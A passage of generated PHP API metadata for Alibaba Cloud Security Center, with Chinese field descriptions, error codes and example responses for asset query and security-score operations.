**remindNum**：提醒告警数量'."\n" + .'- **scaNum**：软件成分分析漏洞数量'."\n" + .'- **seriousNum**：紧急告警数量'."\n" + .'- **suspNum**：可疑告警数量'."\n" + .'- **suspicious**：告警总数量'."\n" + .'- **sysNum**：Windows漏洞数量'."\n" + .'- **trojan**：木马数量'."\n" + .'- **uuid**：资产UUID'."\n" + .'- **vul**：漏洞数量'."\n" + .'- **weakPWNum**：弱口令数量', + 'type' => 'string', + 'example' => '{'."\n" + .' "account": 0,'."\n" + .' "appNum": 0,'."\n" + .' "asapVulCount": 0,'."\n" + .' "baselineHigh": 0,'."\n" + .' "baselineLow": 0,'."\n" + .' "baselineMedium": 0,'."\n" + .' "baselineNum": 0,'."\n" + .' "cmsNum": 0,'."\n" + .' "containerAsap": 0,'."\n" + .' "containerLater": 0,'."\n" + .' "containerNntf": 0,'."\n" + .' "containerRemind": 0,'."\n" + .' "containerSerious": 0,'."\n" + .' "containerSuspicious": 0,'."\n" + .' "cveNum": 0,'."\n" + .' "emgNum": 0,'."\n" + .' "health": 0,'."\n" + .' "imageBaselineHigh": 0,'."\n" + .' "imageBaselineLow": 0,'."\n" + .' "imageBaselineMedium": 0,'."\n" + .' "imageBaselineNum": 0,'."\n" + .' "imageMaliciousFileRemind": 0,'."\n" + .' "imageMaliciousFileSerious": 0,'."\n" + .' "imageMaliciousFileSuspicious": 0,'."\n" + .' "imageVulAsap": 0,'."\n" + .' "imageVulLater": 0,'."\n" + .' "imageVulNntf": 0,'."\n" + .' "laterVulCount": 0,'."\n" + .' "newSuspicious": 0,'."\n" + .' "nntfVulCount": 0,'."\n" + .' "remindNum": 0,'."\n" + .' "scaNum": 0,'."\n" + .' "seriousNum": 0,'."\n" + .' "suspNum": 0,'."\n" + .' "suspicious": 0,'."\n" + .' "sysNum": 0,'."\n" + .' "trojan": 0,'."\n" + .' "uuid": "inet-37316411-37fe-4b72-b245-346a2721****",'."\n" + .' "vul": 0,'."\n" + .' "weakPWNum": 0'."\n" + .'}', + ], + 'IpListString' => [ + 'description' => '系统的IP列表。', + 'type' => 'string', + 'example' => '172.31.XX.XX,172.171.XX.XX', + ], + 'AssetTypeName' => [ + 'description' => '资产的类型名称。', + 'type' => 'string', + 'example' => 'Elastic Compute Service', + ], + 'FlagName' => [ + 'description' => '资产厂商。取值：'."\n" + .'- **ALIYUN**'."\n" + .'- **OUT**'."\n" + .'- **IDC**'."\n" + .'- **Tencent**'."\n" + .'- **HUAWEICLOUD**'."\n" + .'- **Azure**'."\n" + .'- **AWS**'."\n" + .'- **ASK**'."\n" + .'- **TRIPARTITE**'."\n" + .'- **SAE**'."\n" + .'- **PAI**'."\n" + .'- **google**'."\n" + .'- **VOLCENGINE**', + 'type' => 'string', + 'example' => 'ASK', + ], + 'AppId' => [ + 'description' => '应用ID。'."\n" + .'> 该数据仅当**Vendor**为9时可存在。', + 'type' => 'string', + 'example' => 'test', + ], + 'AppName' => [ + 'description' => '应用名称。'."\n" + .'> 该数据仅当**Vendor**为9时可存在。', + 'type' => 'string', + 'example' => 'testAppName', + ], + 'ClientSubStatus' => [ + 'description' => '实例的客户端子状态。取值：'."\n" + ."\n" + .'- **online**：在线，表示资产的Agent客户端状态为**开启**。'."\n" + .'- **offline**：离线，表示资产的Agent客户端状态为**关闭**。'."\n" + .'- **pause**：暂停，表示资产的Agent客户端状态为**暂停保护**。'."\n" + .'- **uninstalled**：未安装，表示资产的Agent客户端状态为**未安装**。'."\n" + .'- **stopped**：服务器关机，表示资产的Agent客户端状态**服务器关机**。', + 'type' => 'string', + 'example' => 'online', + ], + 'TagResources' => [ + 'description' => '灵骏节点自定义标签，当机器是灵骏机器时才会返回值。', + 'type' => 'string', + 'example' => 'app:test,type:lingjun', + ], + 'PostPaidFlag' => [ + 'description' => '当前资产绑定的防护版本计费方式。取值：'."\n" + .'- **0**：包年包月'."\n" + .'- **1**：按量付费', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '0', + ], + 'HasContainer' => [ + 'description' => '是否含有容器。取值：'."\n" + ."\n" + .'- **YES**：有。'."\n" + .'- **NO**：无。', + 'type' => 'string', + 'example' => 'YES', + ], + 'ServiceId' => [ + 'description' => '服务ID，仅实例为Serverless实例，且归属于PAI平台时有值。', + 'type' => 'string', + 'example' => 'dsw-76jlywunsif09bp15p', + ], + 'VendorUid' => [ + 'title' => '多云实例的账号ID。', + 'description' => '多云实例的账号ID。', + 'type' => 'string', + 'example' => '123', + ], + 'VendorUserName' => [ + 'title' => '多云实例的账号名称。', + 'description' => '多云实例的账号名称。', + 'type' => 'string', + 'example' => 'VendorUserName', + ], + 'Namespace' => [ + 'description' => '命名空间。'."\n" + ."\n", + 'type' => 'string', + 'example' => 'crm-test', + ], + 'BindFileProtectType' => [ + 'title' => '是否绑定防篡改授权', + 'description' => '是否绑定防篡改授权。取值：'."\n" + ."\n" + .'- **block**：是'."\n" + .'- **none**：否', + 'type' => 'string', + 'example' => 'block', + ], + ], + ], + ], + ], + ], + ], + ], + 'errorCodes' => [ + 400 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'no permission', + ], + [ + 'errorCode' => 'RdCheckNoPermission', + 'errorMessage' => 'Resource directory account verification has no permission.', + ], + ], + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + [ + 'errorCode' => 'RdCheckInnerError', + 'errorMessage' => 'Resource directory account service internal error.', + ], + ], + ], + 'responseDemo' => '[{"type":"json","example":"{\\n \\"Success\\": true,\\n \\"RequestId\\": \\"32A73759-4C0F-4801-BE98-901223ACEE9A\\",\\n \\"PageInfo\\": {\\n \\"CurrentPage\\": 1,\\n \\"PageSize\\": 20,\\n \\"TotalCount\\": 50,\\n \\"Count\\": 10,\\n \\"NextToken\\": \\"B604532DEF982B875E8360A6EFA3B***\\"\\n },\\n \\"Instances\\": [\\n {\\n \\"Status\\": \\"Running\\",\\n \\"CpuInfo\\": \\"Intel(R) Xeon(R) Platinum 8269CY CPU @ 2.50GHz\\",\\n \\"InternetIp\\": \\"1.2.XX.XX\\",\\n \\"Kernel\\": \\"3.10.0-1127.19.1.el7.x86_64\\",\\n \\"Bind\\": true,\\n \\"OsName\\": \\"-\\",\\n \\"Tag\\": \\"InternetIp,test\\",\\n \\"ClientStatus\\": \\"online\\",\\n \\"Mem\\": 1024,\\n \\"VpcInstanceId\\": \\"vpc-uf60agqq65bs98zoo****\\",\\n \\"TagId\\": \\"121313,41412\\",\\n \\"Flag\\": 0,\\n \\"LastLoginTimestamp\\": 1637592907000,\\n \\"AuthVersion\\": 1,\\n \\"Region\\": \\"cn-hangzhou-cm***-***\\",\\n \\"InstanceName\\": \\"yztest-l***\\",\\n \\"PodCount\\": 1,\\n \\"VulCount\\": 2,\\n \\"HcStatus\\": \\"YES\\",\\n \\"CreatedTime\\": 1607365213000,\\n \\"GroupTrace\\": \\"default\\",\\n \\"ClusterId\\": \\"c690a0789419f4284a4e0a29e12fe****\\",\\n \\"RiskStatus\\": \\"NO\\",\\n \\"Cores\\": 4,\\n \\"VulStatus\\": \\"YES\\",\\n \\"AlarmStatus\\": \\"NO\\",\\n \\"MacListString\\": \\"00:13:3e:31:13:39,02:12:67:b8:**:**\\",\\n \\"Importance\\": 2,\\n \\"HealthCheckCount\\": 1,\\n \\"Ip\\": \\"1.2.XX.XX\\",\\n \\"Os\\": \\"Linux\\",\\n \\"AuthModifyTime\\": 1627974044000,\\n \\"SafeEventCount\\": 5,\\n \\"InstanceId\\": \\"i-m5***\\",\\n \\"AssetType\\": \\"0\\",\\n \\"IntranetIp\\": \\"1.2.XX.XX\\",\\n \\"Vendor\\": 0,\\n \\"RegionId\\": \\"cn-hanghzou\\",\\n \\"Uuid\\": \\"c9107c04-942f-40c1-981a-f1c1***\\",\\n \\"GroupId\\": 4120080,\\n \\"RegionName\\": \\"China (Hangzhou)\\",\\n \\"VendorName\\": \\"IDC\\",\\n \\"AuthVersionName\\": \\"Ultimate Edition\\",\\n \\"ClusterName\\": \\"cluster1\\",\\n \\"ExposedStatus\\": 0,\\n \\"RiskCount\\": \\"{\\\\n \\\\\\"account\\\\\\": 0,\\\\n \\\\\\"appNum\\\\\\": 0,\\\\n \\\\\\"asapVulCount\\\\\\": 0,\\\\n \\\\\\"baselineHigh\\\\\\": 0,\\\\n \\\\\\"baselineLow\\\\\\": 0,\\\\n \\\\\\"baselineMedium\\\\\\": 0,\\\\n \\\\\\"baselineNum\\\\\\": 0,\\\\n \\\\\\"cmsNum\\\\\\": 0,\\\\n \\\\\\"containerAsap\\\\\\": 0,\\\\n \\\\\\"containerLater\\\\\\": 0,\\\\n \\\\\\"containerNntf\\\\\\": 0,\\\\n \\\\\\"containerRemind\\\\\\": 0,\\\\n \\\\\\"containerSerious\\\\\\": 0,\\\\n \\\\\\"containerSuspicious\\\\\\": 0,\\\\n \\\\\\"cveNum\\\\\\": 0,\\\\n \\\\\\"emgNum\\\\\\": 0,\\\\n \\\\\\"health\\\\\\": 0,\\\\n \\\\\\"imageBaselineHigh\\\\\\": 0,\\\\n \\\\\\"imageBaselineLow\\\\\\": 0,\\\\n \\\\\\"imageBaselineMedium\\\\\\": 0,\\\\n \\\\\\"imageBaselineNum\\\\\\": 0,\\\\n \\\\\\"imageMaliciousFileRemind\\\\\\": 0,\\\\n \\\\\\"imageMaliciousFileSerious\\\\\\": 0,\\\\n \\\\\\"imageMaliciousFileSuspicious\\\\\\": 0,\\\\n \\\\\\"imageVulAsap\\\\\\": 0,\\\\n \\\\\\"imageVulLater\\\\\\": 0,\\\\n \\\\\\"imageVulNntf\\\\\\": 0,\\\\n \\\\\\"laterVulCount\\\\\\": 0,\\\\n \\\\\\"newSuspicious\\\\\\": 0,\\\\n \\\\\\"nntfVulCount\\\\\\": 0,\\\\n \\\\\\"remindNum\\\\\\": 0,\\\\n \\\\\\"scaNum\\\\\\": 0,\\\\n \\\\\\"seriousNum\\\\\\": 0,\\\\n \\\\\\"suspNum\\\\\\": 0,\\\\n \\\\\\"suspicious\\\\\\": 0,\\\\n \\\\\\"sysNum\\\\\\": 0,\\\\n \\\\\\"trojan\\\\\\": 0,\\\\n \\\\\\"uuid\\\\\\": \\\\\\"inet-37316411-37fe-4b72-b245-346a2721****\\\\\\",\\\\n \\\\\\"vul\\\\\\": 0,\\\\n \\\\\\"weakPWNum\\\\\\": 0\\\\n}\\",\\n \\"IpListString\\": \\"172.31.XX.XX,172.171.XX.XX\\",\\n \\"AssetTypeName\\": \\"Elastic Compute Service\\",\\n \\"FlagName\\": \\"ASK\\",\\n \\"AppId\\": \\"test\\",\\n \\"AppName\\": \\"testAppName\\",\\n \\"ClientSubStatus\\": \\"online\\",\\n \\"TagResources\\": \\"app:test,type:lingjun\\",\\n \\"PostPaidFlag\\": 0,\\n \\"HasContainer\\": \\"YES\\",\\n \\"ServiceId\\": \\"dsw-76jlywunsif09bp15p\\",\\n \\"VendorUid\\": \\"123\\",\\n \\"VendorUserName\\": \\"VendorUserName\\",\\n \\"Namespace\\": \\"crm-test\\",\\n \\"BindFileProtectType\\": \\"block\\"\\n }\\n ]\\n}","errorExample":""},{"type":"xml","example":"\\n true\\n 32A73759-4C0F-4801-BE98-901223ACEE9A\\n \\n 1\\n 20\\n 50\\n 10\\n \\n \\n Running\\n Intel(R) Xeon(R) Platinum 8269CY CPU @ 2.50GHz\\n 1.2.XX.XX\\n 3.10.0-1127.19.1.el7.x86_64\\n true\\n CentOS 7.6 64位\\n InternetIp,test\\n online\\n 1024\\n vpc-uf60agqq65bs98zoo****\\n 121313,41412\\n 0\\n 1637592907000\\n 3\\n cn-hangzhou-cm***-***\\n yztest-l***\\n 1\\n 2\\n YES\\n 1607365213000\\n default\\n c690a0789419f4284a4e0a29e12fe****\\n NO\\n 4\\n YES\\n NO\\n 00:13:3e:31:13:39,02:12:67:b8:**:**\\n 2\\n 1\\n 1.2.XX.XX\\n Linux\\n 1627974044000\\n 5\\n i-m5***\\n ecs\\n 1.2.XX.XX\\n 0\\n cn-hanghzou\\n c9107c04-942f-40c1-981a-f1c1***\\n 4120080\\n 华北1（青岛）\\n Tencent\\n 免费版\\n cluster1\\n 0\\n 20\\n 172.31.XX.XX,172.171.XX.XX\\n \\n","errorExample":""}]', + 'title' => '查询资产信息', + 'description' => '您可以通过资产的实例ID、实例名称、所属VPC ID、地域、公网IP地址等条件搜索资产，还可以通过设置不同搜索条件之间的逻辑关系搜索符合多个搜索条件的资产。', + 'responseParamsDescription' => ' ', + 'extraInfo' => ' ', + ], + 'DescribeSummaryInfo' => [ + 'summary' => '查询资产的安全评分、已防护资产数量和未防护资产数量。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'get', + 'riskType' => 'none', + 'chargeType' => 'free', + 'abilityTreeNodes' => [ + 'FEATUREsasJODUMM', + ], + ], + 'parameters' => [ + [ + 'name' => 'SourceIp', + 'in' => 'query', + 'schema' => [ + 'description' => '访问源的IP地址。', + 'type' => 'string', + 'required' => false, + 'example' => '192.168.XX.XX', + ], + ], + [ + 'name' => 'Lang', + 'in' => 'query', + 'schema' => [ + 'description' => '请求和接收消息的语言类型。取值：'."\n" + .'- **zh**：中文'."\n" + .'- **en**：英文', + 'type' => 'string', + 'required' => false, + 'example' => 'zh', + ], + ], + ], + 'responses' => [ + 200 => [ + 'schema' => [ + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => 'D40198E1-6EA8-482E-B3C7-D9573D75C0CA', + ], + 'Success' => [ + 'description' => '接口调用是否成功。取值：'."\n" + .'- **true**：成功'."\n" + .'- **false**：失败'."\n", + 'type' => 'boolean', + 'example' => 'true', + ], + 'AegisClientOfflineCount' => [ + 'description' => '未防护资产的数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '12', + ], + 'AegisClientOnlineCount' => [ + 'description' => '已防护资产的数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '127', + ], + 'SecurityScore' => [ + 'description' => '资产的安全分值。以下是分值区间和资产安全状态的对应关系：'."\n" + ."\n" + .'- 95~100：表示您的资产安全状态良好。'."\n" + .'- 85~94：表示您的资产存在安全隐患，建议尽快加固安全防护体系。'."\n" + .'- 70~84：表示您的资产存在较多安全隐患，建议及时加固安全防护体系。'."\n" + .'- 69分以下：表示您的资产防御黑客入侵的能力很弱，需要尽快加固安全防护体系。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '44', + ], + ], + ], + ], + ], + 'errorCodes' => [ + 400 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'no permission', + ], + ], + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"type":"json","example":"{\\n \\"RequestId\\": \\"D40198E1-6EA8-482E-B3C7-D9573D75C0CA\\",\\n \\"Success\\": true,\\n \\"AegisClientOfflineCount\\": 12,\\n \\"AegisClientOnlineCount\\": 127,\\n \\"SecurityScore\\": 44\\n}","errorExample":""},{"type":"xml","example":"\\n 114\\n E718E19A-4706-4ED0-9570-906724A89340\\n 73\\n 10\\n true\\n","errorExample":""}]', + 'title' => '查询资产安全评分', + 'responseParamsDescription' => ' ', + 'extraInfo' => ' ', + ], + 'DescribeSearchCondition' => [ + 'summary' => '查询云安全中心资产列表的筛选条件。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'get', + 'abilityTreeCode' => '92187', + 'abilityTreeNodes' => [ + 'FEATUREsas36IOGX', + ], + ], + 'parameters' => [ + [ + 'name' => 'SourceIp', + 'in' => 'query', + 'schema' => [ + 'description' => '访问源的IP地址。', + 'type' => 'string', + 'required' => false, + 'example' => '117.220.XX.XX', + ], + ], + [ + 'name' => 'Lang', + 'in' => 'query', + 'schema' => [ + 'description' => '请求和接收消息的语言类型。默认值为**zh**。取值：'."\n" + ."\n" + .'- **zh**：中文'."\n" + .'- **en**：英文', + 'type' => 'string', + 'required' => false, + 'example' => 'zh', + ], + ], + [ + 'name' => 'Type', + 'in' => 'query', + 'schema' => [ + 'description' => ' '."\n" + .'要查询的资产类型。取值：'."\n" + ."\n" + .'- **ecs**：表示查询所有ECS服务器的筛选条件。'."\n" + .'- **cloud_product**：表示查询所有其他云产品的筛选条件。', + 'type' => 'string', + 'required' => false, + 'example' => 'ecs', + ], + ], + ], + 'responses' => [ + 200 => [ + 'schema' => [ + 'description' => '请求返回数据。', + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'description' => ' '."\n" + .'本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => '3AEC47AF-8CFA-485E-AC9A-3A8ABC06EA7F', + ], + 'ConditionList' => [ + 'description' => '筛选条件信息列表。', + 'type' => 'array', + 'items' => [ + 'description' => '筛选条件信息。', + 'type' => 'object', + 'properties' => [ + 'ConditionType' => [ + 'description' => ' '."\n" + .'筛选条件的类型。取值：'."\n" + ."\n" + .'- **system**：系统默认的筛选条件'."\n" + .'- **user**：用户自定义的筛选条件', + 'type' => 'string', + 'example' => 'system', + ], + 'NameKey' => [ + 'description' => '筛选条件名称的key值。', + 'type' => 'string', + 'example' => 'stop_machine', + ], + 'Name' => [ + 'description' => '筛选条件的名称。', + 'type' => 'string', + 'example' => 'StopMachine', + ], + 'FilterConditions' => [ + 'description' => '筛选条件。该值为JSON格式，包含以下字段：'."\n" + ."\n" + .'- **filterParams**：过滤参数，该值为JSON格式，包含以下字段：'."\n" + .' - **labelKey**：需要渲染的KEY。'."\n" + ."\n" + .' - **label**：展示名'."\n" + .' - **value**：筛选条件值，该值为JSON格式，包含以下字段：'."\n" + .' - **name**：筛选项'."\n" + .' - **value**：筛选项对应值'."\n" + .'- **LogicalExp**：条件连接关系，取值：'."\n" + .' - **AND**：筛选条件是**与**关系'."\n" + .' - **OR**：筛选条件是**或**关系'."\n" + .'>当**ConditionType**为**system**时 **labelKey**存在，且仅作为国际化渲染时使用。'."\n", + 'type' => 'string', + 'example' => '{\\"filterParams\\":[{\\"labelKey\\":\\"a|b\\",\\"value\\":\\"{\\\\\\"name\\\\\\":\\\\\\"sadsasd\\\\\\",\\\\\\"value\\\\\\":\\\\\\"dasdsdas\\\\\\"}\\"}],\\"LogicalExp\\":\\"OR\\"}', + ], + ], + ], + ], + ], + ], + ], + ], + 'errorCodes' => [ + 400 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'no permission', + ], + [ + 'errorCode' => 'InvalidSecurityTokenExpired', + 'errorMessage' => 'Specified SecurityToken is expired.', + ], + ], + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'eventInfo' => [ + 'enable' => false, + 'eventNames' => [], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"3AEC47AF-8CFA-485E-AC9A-3A8ABC06EA7F\\",\\n \\"ConditionList\\": [\\n {\\n \\"ConditionType\\": \\"system\\",\\n \\"NameKey\\": \\"stop_machine\\",\\n \\"Name\\": \\"StopMachine\\",\\n \\"FilterConditions\\": \\"{\\\\\\\\\\\\\\"filterParams\\\\\\\\\\\\\\":[{\\\\\\\\\\\\\\"labelKey\\\\\\\\\\\\\\":\\\\\\\\\\\\\\"a|b\\\\\\\\\\\\\\",\\\\\\\\\\\\\\"value\\\\\\\\\\\\\\":\\\\\\\\\\\\\\"{\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\"name\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\":\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\"sadsasd\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\",\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\"value\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\":\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\"dasdsdas\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\"}\\\\\\\\\\\\\\"}],\\\\\\\\\\\\\\"LogicalExp\\\\\\\\\\\\\\":\\\\\\\\\\\\\\"OR\\\\\\\\\\\\\\"}\\"\\n }\\n ]\\n}","type":"json"}]', + 'title' => '查询资产的筛选条件', + ], + 'DescribeCriteria' => [ + 'summary' => '查询资产时能显示的资产属性模糊匹配的查询条件。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'get', + 'riskType' => 'none', + 'chargeType' => 'free', + 'abilityTreeNodes' => [ + 'FEATUREsas36IOGX', + ], + ], + 'parameters' => [ + [ + 'name' => 'MachineTypes', + 'in' => 'query', + 'schema' => [ + 'description' => '查询的资产类型。取值：'."\n" + ."\n" + .'- **ecs** ：表示查询所有ECS服务器。', + 'type' => 'string', + 'required' => false, + 'example' => 'ecs', + ], + ], + [ + 'name' => 'Value', + 'in' => 'query', + 'schema' => [ + 'description' => '查询资产时输入的模糊匹配值。', + 'type' => 'string', + 'required' => false, + 'example' => '47.96', + ], + ], + [ + 'name' => 'SupportAutoTag', + 'in' => 'query', + 'schema' => [ + 'description' => '设置输入的模糊查询字段是否支持自动匹配。默认**false**，取值：'."\n" + ."\n" + .'- **true**：是。'."\n" + .'- **false**：否。', + 'type' => 'boolean', + 'required' => false, + 'example' => 'true', + ], + ], + ], + 'responses' => [ + 200 => [ + 'schema' => [ + 'description' => '请求返回数据。', + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => '8E6DDACF-99AF-5939-AFFD-FCCD3B01E724', + ], + 'CriteriaList' => [ + 'description' => '资产查询条件的信息列表。', + 'type' => 'array', + 'items' => [ + 'description' => '资产查询条件的信息。', + 'type' => 'object', + 'properties' => [ + 'Type' => [ + 'description' => '查询条件的类型。取值：'."\n" + ."\n" + .'- **input**：需要手动输入查询字段。'."\n" + .'- **select**：需要从下拉列表中选择查询条件的子类型。', + 'type' => 'string', + 'example' => 'input', + ], + 'Name' => [ + 'description' => '对应的查询条件的名称。'."\n" + .'- **internetIp**：公网IP。'."\n" + .'- **intranetIp**：私网IP。'."\n" + .'- **instanceName**：实例名称。'."\n" + .'- **instanceId**：实例ID。'."\n" + .'- **machineType**：实例类型。'."\n" + .'- **clusterIdList**：集群ID列表。'."\n" + .'- **vpcInstanceId**：所属VPC ID。'."\n" + .'- **osName**：操作系统。'."\n" + .'- **osType**：系统类型。'."\n" + .'- **hcStatus**：是否有基线问题。'."\n" + .'- **vulStatus**：是否有漏洞问题。'."\n" + .'- **asapVulStatus**：是否存在紧急漏洞。'."\n" + .'- **alarmStatus**：是否有安全告警。'."\n" + .'- **riskStatus**：是否存在风险。'."\n" + .'- **clientStatus**：是否在线。'."\n" + .'- **clientSubStatus**：客户端子状态。'."\n" + .'- **runningStatus**：开机状态。'."\n" + .'- **tagName**：标签名称。'."\n" + .'- **vendorAuthAlias**：授权账号备注。'."\n" + .'- **vendorUid**：授权账号ID。'."\n" + .'- **vendorUserName**：授权账号名称。'."\n" + .'- **namespace**：命名空间。'."\n" + .'- **appName**：应用名称。'."\n" + .'- **groupName**：分组名称。'."\n" + .'- **regionId**：地域。'."\n" + .'- **groupId**：分组ID。'."\n" + .'- **newInstance**：是否新增资产。'."\n" + .'- **containerStatus**：是否存在容器。'."\n" + .'- **importance**：资产重要性。'."\n" + .'- **exposedStatus**：是否是暴露服务器。'."\n" + .'- **clusterId**：集群ID。'."\n" + .'- **authVersion**：授权版本。'."\n" + .'- **flag**：云厂商。'."\n" + .'- **ipList**：IP列表。'."\n" + .'- **uuidList**：UUID。'."\n" + .'- **aiStatus**：是否存在AI组件。'."\n" + .'- **tagKeyValue**：ECS标签。'."\n" + .'- **ecsType**：服务器类型。'."\n" + .'- **alisecguardStatus**：自保护状态。'."\n" + .'- **alihipsStatus**：AliHips状态。'."\n" + .'- **alinetStatus**：AliNet状态。'."\n" + .'- **alidetectStatus**：端引擎状态。'."\n" + .'- **yundunMonitorStatus**：信息采集组件状态。'."\n" + .'- **clusterNodeStatus**：是否集群节点。', + 'type' => 'string', + 'example' => 'internetIp', + ], + 'Values' => [ + 'description' => '输入的模糊匹配值对应的资产的具体属性值。'."\n" + .'>- 当**Name**返回为**machineType**时，枚举值为：'."\n" + .'>>- **38**：弹性容器实例。'."\n" + .'>>- **51**：RunD容器实例。'."\n" + .'>>- **52**：RunC容器实例。'."\n" + .'>- 当**Name**返回为**osType**时，枚举值为：'."\n" + .'>>- **linux**：Linux。'."\n" + .'>>- **windows**：Windows。'."\n" + .'>- 当**Name**返回为**hcStatus**时，枚举值为：'."\n" + .'>>- **NO**：否。'."\n" + .'>>- **YES**：是。'."\n" + .'>- 当**Name**返回为**vulStatus**时，枚举值为：'."\n" + .'>>- **NO**：否。'."\n" + .'>>- **YES**：是。'."\n" + .'>- 当**Name**返回为**asapVulStatus**时，枚举值为：'."\n" + .'>>- **NO**：否。'."\n" + .'>>- **YES**：是。'."\n" + .'>- 当**Name**返回为**alarmStatus**时，枚举值为：'."\n" + .'>>- **NO**：否。'."\n" + .'>>- **YES**：是。'."\n" + .'>- 当**Name**返回为**riskStatus**时，枚举值为：'."\n" + .'>>- **NO**：否。'."\n" + .'>>- **YES**：是。'."\n" + .'>>- **UNKNOWN**：未知。'."\n" + .'>- 当**Name**返回为**clientStatus**时，枚举值为：'."\n" + .'>>- **online**：在线。'."\n" + .'>>- **offline**：离线。'."\n" + .'>>- **pause**：暂停防护。'."\n" + .'>- 当**Name**返回为**clientSubStatus**时，枚举值为：'."\n" + .'>>- **online**：在线。'."\n" + .'>>- **offline**：离线。'."\n" + .'>>- **pause**：暂停防护。'."\n" + .'>>- **stopped**：关机。'."\n" + .'>>- **uninstalled**：未安装。'."\n" + .'>- 当**Name**返回为**runningStatus**时，枚举值为：'."\n" + .'>>- **Running**：开机。'."\n" + .'>>- **notRunning**：关机。'."\n" + .'>>- **UNKNOWN**：未知。'."\n" + .'>- 当**Name**返回为**importance**时，枚举值为：'."\n" + .'>>- **important**：重要。'."\n" + .'>>- **general**：一般。'."\n" + .'>>- **test**：测试。'."\n" + .'>- 当**Name**返回为**containerStatus**时，枚举值为：'."\n" + .'>>- **NO**：否。'."\n" + .'>>- **YES**：是。'."\n" + .'>- 当**Name**返回为**exposedStatus**时，枚举值为：'."\n" + .'>>- **NO**：否。'."\n" + .'>>- **YES**：是。'."\n" + .'>- 当**Name**返回为**authVersion**时，枚举值为：'."\n" + .'>>- **1**：免费版。'."\n" + .'>>- **3**：企业版。'."\n" + .'>>- **5**：高级版。'."\n" + .'>>- **6**：防病毒版。'."\n" + .'>>- **7**：旗舰版。'."\n" + .'>- 当**Name**返回为**flag**时，枚举值为：'."\n" + .'>>- **0|8|15**：阿里云。'."\n" + .'>>- **1**：云外主机。'."\n" + .'>>- **2**：IDC。'."\n" + .'>>- **3**：腾讯云。'."\n" + .'>>- **4**：华为云。'."\n" + .'>>- **5**：Azure。'."\n" + .'>>- **7**：AWS。'."\n" + .'>>- **9**：SAE。'."\n" + .'>>- **10**：PAI。'."\n" + .'>>- **13**：ACS。'."\n" + .'>>- **14**：火山云。'."\n" + .'>>- **16**：谷歌云。'."\n" + .'>- 当**Name**返回为**aiStatus**时，枚举值为：'."\n" + .'>>- **NO**：否。'."\n" + .'>>- **YES**：是。'."\n" + .'>- 当**Name**返回为**ecsType**时，枚举值为：'."\n" + .'>>- **8**：轻量应用服务器。'."\n" + .'>>- **11**：灵俊。'."\n" + .'>>- **15**：RDS Custom。'."\n" + .'>>- **!8**：主机服务器。'."\n" + .'>- 当**Name**返回为**alisecguardStatus**时，枚举值为：'."\n" + .'>>- **0**：插件在线。'."\n" + .'>>- **1**：未开启。'."\n" + .'>>- **2**：插件离线。'."\n" + .'>>- **-99**：安装失败。'."\n" + .'>- 当**Name**返回为**alihipsStatus**时，枚举值为：'."\n" + .'>>- **0**：插件在线。'."\n" + .'>>- **1**：未开启。'."\n" + .'>>- **2**：插件离线。'."\n" + .'>>- **-99**：安装失败。'."\n" + .'>- 当**Name**返回为**alinetStatus**时，枚举值为：'."\n" + .'>>- **0**：插件在线。'."\n" + .'>>- **1**：未开启。'."\n" + .'>>- **2**：插件离线。'."\n" + .'>>- **-99**：安装失败。'."\n" + .'>- 当**Name**返回为**alidetectStatus**时，枚举值为：'."\n" + .'>>- **0**：插件在线。'."\n" + .'>>- **1**：未开启。'."\n" + .'>>- **2**：插件离线。'."\n" + .'>>- **-99**：安装失败。'."\n" + .'>- 当**Name**返回为**yundunMonitorStatus**时，枚举值为：'."\n" + .'>>- **0**：插件在线。'."\n" + .'>>- **1**：未开启。'."\n" + .'>>- **2**：插件离线。'."\n" + .'>>- **-99**：安装失败。'."\n" + .'>- 当**Name**返回为**clusterNodeStatus**时，枚举值为：'."\n" + .'>>- **false**：否。'."\n" + .'>>- **true**：是。', + 